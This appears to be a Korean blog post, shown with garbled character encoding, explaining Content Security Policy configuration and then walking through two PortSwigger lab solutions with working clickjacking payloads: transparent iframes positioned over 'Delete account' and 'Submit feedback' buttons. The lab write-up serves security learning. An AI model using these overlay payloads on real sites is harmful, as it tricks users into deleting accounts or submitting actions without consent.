CSP

yxxun1216ยท2022๋…„ 9์›” 28์ผ
0

CSP(Content Security Policy)๐Ÿ”’


CSP๋ž€

CSP : ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…์ด๋ผ๊ณ ๋„ ํ•˜๋ฉฐ XSS(Cross Site Scripting) ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง„ ์ •์ฑ…์ด๋ฉฐ ์›น ์‚ฌ์ดํŠธ ์†Œ์œ ์ž๊ฐ€ ๊ทœ์น™์„ ์ ์šฉ.

CSP ์ง€์‹œ๋ฌธ ์˜ˆ์‹œ

  • default-src : ๋””ํดํŠธ ์„ค์ •
  • connect-src : ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” URL์„ ์ œํ•œ
  • script-scr : ์Šคํฌ๋ฆฝํŠธ ๊ด€๋ จ ๊ถŒํ•œ ์ง‘ํ•ฉ ์ œ์–ด
  • child-src : iframe ํƒœ๊ทธ์—์„œ ์‚ฌ์šฉ
  • style-src : ์Šคํƒ€์ผ์‹œํŠธ ๊ด€๋ จ ๊ถŒํ•œ ์ง‘ํ•ฉ ์ œ์–ด
  • font-src : ์›น ๊ธ€๊ผด์„ ์ œ๊ณตํ•  ์ถœ์ฒ˜ ์ง€์ •
  • img-src : ์ด๋ฏธ์ง€ ๊ด€๋ จ ๊ถŒํ•œ ์ง‘ํ•ฉ ์ œ์–ด
  • report-uri : ์ •์ฑ… ์œ„๋ฐ˜ ์‹œ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ณด๊ณ ์„œ ๋ณด๋‚ผ URL ์ง€์ •

src ์˜ต์…˜

  • none : ์•„๋ฌด๊ฒƒ๋„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ
  • self : ํ˜„์žฌ ์ถœ์ฒ˜๋Š” ํ—ˆ์šฉ, ํ•˜์œ„ ๋„๋ฉ”์ธ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ
  • unsafe-inline : ์†Œ์Šค ์ฝ”๋“œ ๋‚ด ์ธ๋ผ์ธ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ๋ฐ CSS ํ—ˆ์šฉ
  • unsafe-eval : eval๊ณผ ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋งค์ปค๋‹ˆ์ฆ˜ ํ—ˆ์šฉ

CSP ์ ์šฉ ๋ฐฉ๋ฒ•

  1. meta ํƒœ๊ทธ ์„ค์ •
<meta http-equiv="Content-Security-Policy" content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"> //frame-ancestors, report-uri, sandbox์—์„œ ์‚ฌ์šฉ๋ถˆ๊ฐ€
  1. php ํ—ค๋” ์„ค์ •
 <?php
 $headerCSP = "Content-Security-Policy:".
              "default-src 'self';". // ๊ธฐ๋ณธ์€ ์ž๊ธฐ ๋„๋ฉ”์ธ๋งŒ ํ—ˆ์šฉ
              "connect-src 'self' ;". // ajax url์€ ์ž๊ธฐ ๋„๋ฉ”์ธ๋งŒ ํ—ˆ์šฉ
              "script-src 'self' example.com code.jquery.com https://ssl.google-analytics.com ;". // ์ž๊ธฐ์ž์‹ , ์ ‘๊ทผํ—ˆ์šฉ ๋„๋ฉ”์ธ ์„ค์ •
              "style-src 'self' 'unsafe-inline';".
              "report-uri https://example.com/csp_report.php;"; // ๋ณด์•ˆ ์ •์ฑ… ์˜ค๋ฅ˜ ๋ ˆํฌํŠธ URL ์ง€์ •(meta ํƒœ๊ทธ์—์„  ์‚ฌ์šฉ๋ถˆ๊ฐ€)
 header($headerCSP);
  1. nonce ์„ค์ •
<?php
 $nonce_key = hash('sha256', microtime());
 ?> //ํ•ด์‹œ sha256์„ ์ด์šฉํ•˜์—ฌ ๋‚œ์ˆ˜ ์ƒ์„ฑ, php๋กœ ํ—ค๋” ์„ค์ • ๋˜๋Š” meta tag์— ์‚ฝ์ž…
 
 Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
 
 <script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
    alert('ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋Š” ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์ž…๋‹ˆ๋‹ค.');
 </script>
 
 <script>
    alert('ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋Š” ์‚ฌ์šฉ ๋ถˆ๊ฐ€๋Šฅํ•œ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์ž…๋‹ˆ๋‹ค.');
 </script>

์‚ฌ์šฉ๋˜๋Š” CSPํ—ค๋” ์˜ˆ์‹œ

  • Content-Security-Policy : W3C ๋ฌธ์„œ๊ฐ€ ์ œ์•ˆํ•œ ํ‘œ์ค€ ํ—ค๋” ์ด๋ฆ„. ๊ตฌ๊ธ€ ํฌ๋กฌ, ํŒŒ์ด์–ด ํญ์Šค, ์›นํ‚ท ๋“ฑ์ด ๋ฒ„์ „์— ๋”ฐ๋ผ ์ง€์›
  • X-WebKit-CSP : ๊ตฌํ˜•์ด๋ฉฐ ์‹คํ—˜์  ํ—ค๋”. ๊ตฌ๊ธ€ ํฌ๋กฌ ๋ฐ ๊ธฐํƒ€ ์›นํ‚ท ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์— ๋„์ž….
  • X-Content-Security-Policy : ๊ตฌํ˜•์ด๋ฉฐ ์‹คํ—˜์ ์ธ ํ—ค๋”. ๊ฒŒ์ฝ” 2 ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์— ๋„์ž….

์ฐธ์กฐ : https://web.dev/csp/


CSP bypass๐Ÿ”“


CSP bypass๋ž€ CSP๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์„ ๋งํ•จ.

CSP bypass ์ทจ์•ฝ์  ์˜ˆ์‹œ

  • ํ†ตํ™” ๋ณ€ํ™˜์— ์‚ฌ์šฉํ•˜๋˜ ์—”๋“œํฌ์ธํŠธ๊ฐ€ URL ๋งค๊ฐœ๋ณ€์ˆ˜์— ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌ๋˜์ง€ ์•Š๋Š” XSS ์ทจ์•ฝ์ ์ด ์ƒ๊น€. ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๋ธŒ๋ผ์šฐ์ € ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ, HTML๊ณผ ๊ฐ™์€ ๋‹ค๋ฅธ ํƒ€์ž…์˜ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Œ.
    ์ด๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ € ํŽ˜์ด์ง€ DOM(Document Object Model)์—์„œ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ์ธ์‹์ด๋‚˜ ๋™์˜ ์—†์ด ์‹คํ–‰๋˜์–ด ๋ฌธ์ œ ๋ฐœ์ƒ.
    ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋˜๊ธฐ ์ „ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๋Š” ์ถ”๊ฐ€์ ์ธ ์ œ์–ด๋ฅผ ์‹คํ–‰ํ•จ์œผ๋กœ ํ•ด๊ฒฐ.

    ์ถœ์ฒ˜ : https://hackerone.com/reports/799881


Clickjacking๐Ÿ–ฑ๏ธ


Clickjacking์ด๋ž€ ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ง€ํ•˜์ง€ ๋ชปํ•œ ํ™”๋ฉด์ด๋‚˜ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๋ฉด ์˜๋„ํ•˜์ง€ ์•Š์€ ํ–‰์œ„๋กœ ์ด์–ด๋„๋ก ํ•˜๋Š” ํ•ดํ‚น ๊ธฐ๋ฒ•์„ ๋งํ•จ.

Portswigger ํ’€์ด

  1. Basic clickjacking with CSRF token protection

    ๊ฐ€์žฅ ์ฒ˜์Œ ๋ณด์ด๋Š” ํ™”๋ฉด์œผ๋กœ My account์—์„œ ๋ฌธ์ œ์—์„œ ์•Œ๋ ค์ค€ username๊ณผ password๋ฅผ ์ž…๋ ฅํ•˜์—ฌ์•ผ ํ•จ.

    ์ž…๋ ฅ ํ›„ Delete account๋ผ๋Š” ๋ฒ„ํŠผ์ด ์ƒ๊ธฐ๋ฉด Go to exploit server์— ๋“ค์–ด๊ฐ€์„œ clickjacking์„ ์‹คํ–‰ํ•  ํ”„๋ ˆ์ž„์„ ๋งŒ๋“ฆ.
<style>
    iframe {
        position:relative;
        width:700;
        height: 500;
        opacity:0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:500;
        left:60;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://0ac200010381cb0fc024110300670063.web-security-academy.net/my-account"></iframe>

์ด ์ฝ”๋“œ๋ฅผ body ์ฐฝ์— ์ž…๋ ฅํ•˜์—ฌ Delete account์™€ Test me๊ธ€์ž๊ฐ€ ๊ฒน์น˜๋„๋ก ์กฐ์ •ํ•œ ํ›„ Deliver exploit to victim์œผ๋กœ ์ œ์ถœํ•˜๋ฉด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐ ํ•  ์ˆ˜ ์žˆ์Œ.


2. Exploiting clickjacking vulnerability to trigger DOM-based XSS

๊ฐ€์žฅ ์ฒ˜์Œ ๋ณด์ด๋Š” ํ™”๋ฉด์œผ๋กœ Submit feedback์— ๋“ค์–ด๊ฐ€์„œ Go to exploit server์— ๋“ค์–ด๊ฐ.

Submit feedback์— ๋“ค์–ด๊ฐ€๋ฉด ํ™”๋ฉด ์•„๋ž˜์— ์žˆ๋Š” Submit feedback ๋ฒ„ํŠผ๊ณผ ๊ฒน์น˜๋„๋ก clickjacking์„ ์‹คํ–‰ํ•˜์—ฌ์•ผ ํ•จ.

<style>
	iframe {
		position:relative;
		width:700;
		height: 500;
		opacity: 0.5;
		z-index: 2;
	}
	div {
		position:absolute;
		top:600;
		left:80;
		z-index: 1;
	}
</style>
<div>Test me</div>
<iframe
src="https://0a2600c3040f435dc0c23bc7007c0039.web-security-academy.net/feedback"></iframe>

1๋ฒˆ ๋ฌธ์ œ์™€ ๋™์ผํ•˜๊ฒŒ body ์ฐฝ์— ์œ„์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•˜๊ณ  submit feedback ๋ฒ„ํŠผ๊ณผ Test me๋ผ๋Š” ๊ธ€์ž๊ฐ€ ๊ฒน์น˜๋„๋ก ์กฐ์ •ํ•œ ํ›„ Deliver exploit to victim์œผ๋กœ ์ œ์ถœํ•˜๋ฉด ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋จ.

0๊ฐœ์˜ ๋Œ“๊ธ€